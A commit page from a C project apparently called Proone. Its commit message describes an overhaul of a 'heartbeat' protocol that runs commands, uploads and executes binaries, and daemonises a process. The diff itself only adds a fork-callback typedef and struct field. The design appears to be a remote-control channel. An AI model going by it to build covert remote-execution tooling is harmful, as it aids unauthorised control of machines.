diff options
author | David Timber <mieabby@gmail.com> | 2021-08-06 15:59:38 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-08-06 15:59:38 +1000 |
commit | f6e94a01fd84b693c5a74b8f40edb4dc89836bdf (patch) | |
tree | 9c46a7adb7c19b31f45a30de8286045cce120f58 /src/htbt.h | |
parent | a72b876cf8f7c01ab2d3808a168ef16620498298 (diff) |
htbt and protocol overhaul ...
* htbt overhaul
* Abandon async slv io. slv io is now synchronous
* htbt_do_cmd()
* w/ detach flag: set up closed pipes for stdio
* Create new pg for child and kill the pg on error
* Do waitpid() w/ timeout
* Wait for child spawn w/ timeout
* Always reap child
* Add fork cb for clean up code(to unmask signals, deinit libs)
* Protocol overhaul
* Use stdio frames to transfer binary data for
PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN op
* bin_meta bin_size -> alloc_len. This is an optional field now
* Fix protocol
* detach flag of cmd_head not being (de)serialised
* cmd_head (d)ser funcs not setting actual correctly
* Proone: call setsid() on daemonisation
* Fix compilation error caused by missing <errno.h>
Diffstat (limited to 'src/htbt.h')
-rw-r--r-- | src/htbt.h | 2 |
1 files changed, 2 insertions, 0 deletions
@@ -23,6 +23,7 @@ typedef bool(*prne_htbt_bin_ft)( void *ctx, const char *path, const prne_htbt_cmd_t *cmd); +typedef bool(*prne_htbt_fork_ft)(void *ctx); struct prne_htbt_cbset { // All callback functions are optional. @@ -30,6 +31,7 @@ struct prne_htbt_cbset { prne_htbt_hostinfo_ft hostinfo; prne_htbt_tmpfile_ft tmpfile; prne_htbt_bin_ft upbin; + prne_htbt_fork_ft fork; }; struct prne_htbt_param { |